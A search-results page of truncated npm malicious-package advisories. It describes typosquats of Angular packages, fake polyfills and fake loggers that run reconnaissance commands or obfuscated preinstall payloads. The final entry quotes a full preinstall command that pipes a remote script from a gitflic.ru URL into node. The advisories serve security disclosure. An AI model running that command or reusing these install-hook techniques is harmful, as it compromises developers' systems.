361043 matches found
Malicious code in css-ikomdq-polyfill (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 255cceca3ca8631c9b225745c5b64a71fd6c09b60fa3ad95b419fccb66f035f2 The package presents itself as a CSS polyfill but ships thunderboltRegistry.js, which on require executes a top-level IIFE that runs id, whoami, unam...
MAL-2026-17553 Malicious code in css-ikomdq-polyfill (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 255cceca3ca8631c9b225745c5b64a71fd6c09b60fa3ad95b419fccb66f035f2 The package presents itself as a CSS polyfill but ships thunderboltRegistry.js, which on require executes a top-level IIFE that runs id, whoami, unam...
MAL-2026-17556 Malicious code in css-ogojwh-polyfill (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector aff543635c832e0563229f42fcc7673c835f2ba5a9ae41d680aa572cfba49765 [email protected] presents itself as a CSS polyfill but ships thunderboltRegistry.js which, on require, runs an IIFE that executes shell...
MAL-2026-17548 Malicious code in css-ayucyz-polyfill (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector d8c7540d3981f510255434529f76a2ed9a24b0783e7e8e3369b41f71b93ebd1a On require, thunderboltRegistry.js runs an IIFE that acquires childprocess via multiple fallbacks and executes shell commands id, whoami, uname -a,...
MAL-2026-17550 Malicious code in css-dwsawd-polyfill (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 1c370cda09695e44d06a44bc14d14817edadc047e4dad0314edcfc752be796e9 The package name mimics a Wix thunderbolt polyfill and ships a registry-manifest.min.json that aliases legitimate @wix thunderbolt registry module...
Malicious code in abbishal-poc (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector f3d3f60fb75143a3cdfedea0c2f185e0556053cd458cd5e76cd5303bf406eb32 On npm install, package.json's preinstall hook runs sh./test.sh, which uses character-split variable obfuscation b=e, i=c, s=n, h=u, a=v, l=rl to...
MAL-2026-17559 Malicious code in hardhat-kex (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector b8fa212654344b734814cee2291c9b9b91ecbc353bde5e83740624ee5f263c69 The npm package [email protected] ships an obfuscated 4.5MB single-line bundle at lib/config.js obfuscator.io-style string-array with a 26,234-entry...
MAL-2026-17560 Malicious code in hardhat-spack (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector e59c971c63de9d0a7f66c26093f528164990af10eca00a3a36b97d0c8b0a6d0d The package is published as hardhat-spack but presents itself internally as a pino-like logger. Its main export is a middleware factory that spawns...
Malicious code in @anguar/core (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 428f991afc1ada001d59a546b8290c039dc16c98f6e497346acd87b8c08034eb Package @anguar/core impersonates @angular/core: scope name differs by one letter and package.json name, description, author, and repository metadata...
MAL-2026-17538 Malicious code in @angulr/core (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector c24dfd4b0a686b9056ff662e6fee53edfe23c7a94a5edf93fb4cace176216518 The npm package @angulr/core masquerades as Angular's @angular/core by cloning its package.json metadata description 'Angular - the core framework',...
Malicious code in @qngular/core (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector e83437986b94381cddff72267bc53907d980e1b14dbfef9123aa47f5ed664664 Package @qngular/core is a one-character typosquat of @angular/core and copies the real package's description, author, and repository metadata. The...
MAL-2026-17544 Malicious code in @qngular/core (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector e83437986b94381cddff72267bc53907d980e1b14dbfef9123aa47f5ed664664 Package @qngular/core is a one-character typosquat of @angular/core and copies the real package's description, author, and repository metadata. The...
MAL-2026-17531 Malicious code in api-nebula (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector b8232ec7756422686c2bce805fc87821e61a5bd9176cdb2fe7c3190fd2b2eae2 The package declares "preinstall": "node preinstall.cjs" in package.json, and preinstall.cjs is a single-line 187 KB Function"pbeIUC", "…" invocation...
Malicious code in css-reading-flow-polyfill (npm)
Source: amazon-inspector 3b18e313d5fc67f07c1bcf051bd79a85dca97bb3c4510d9755efca6414bb55ff The package is published as css-reading-flow-polyfill but ships thunderboltRegistry.js, which impersonates internal Wix thunderbolt registry modules thunderboltRegistry, siteAssetsRegistry,...
Malicious code in ultimate-websocket (npm)
Source: amazon-inspector 7574e423b830695141ee6e089006e0c355109e240c69881512806869cfee8114 package.json declares its only dependency node-net-pool as a bare tarball URL pointing at the mutable main branch of an unrelated GitHub user...
Malicious code in tiny-dom-focus-trap (npm)
Source: amazon-inspector 84262096595a1e0ce09bbaa359930cd07cf420cc72545174ddc4f12c60bec962 The package is advertised as a focus-trap utility but thunderboltRegistry.js runs an IIFE at require time that uses childprocess.execSync to run whoami, id, pwd, ifconfig / ip addr, hostname, and to read...
Malicious code in tiny-focusgroup-helper (npm)
Source: amazon-inspector 9c6d210f6c61d0ec49fac4bf487a2d71966b1f3dd59653d8a8fdf12e04f9b306 [email protected] declares itself as a focus-group accessibility helper, but thunderboltRegistry.js runs an IIFE at require time that executes whoami, uname -a, ifconfig/ip addr, and reads...
Malicious code in promises-dotenv3 (npm)
Source: amazon-inspector 146d9688d00e8fa785e2fb62976f0dad169e8055c6c92d3795536cc63527c640 [email protected] is a typosquat of dotenv-family packages that executes an obfuscated payload at module load. On top-level require of the package's main entry and its CLI, a function named...
Malicious code in hardhat-roof (npm)
Source: amazon-inspector 25cbf03ad6014824ab078237f83b2b682145928e5effefbe3dcc5deca9ba1e26 The package presents itself as the pino logger — README, docs/, index.d.ts and LICENSE are copied from pinojs/pino and keywords advertise 'fast, logger, stream, json' — but the package name is 'hardhat-roof'...
Malicious code in @angularr/router (npm)
Source: amazon-inspector 646c9fd4e8d09651eb6d5ec997e6d1b62f294d39d52ec3b4143853c922f15e83 The package.json preinstall script runs curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node, fetching an unpinned, unverified JavaScript...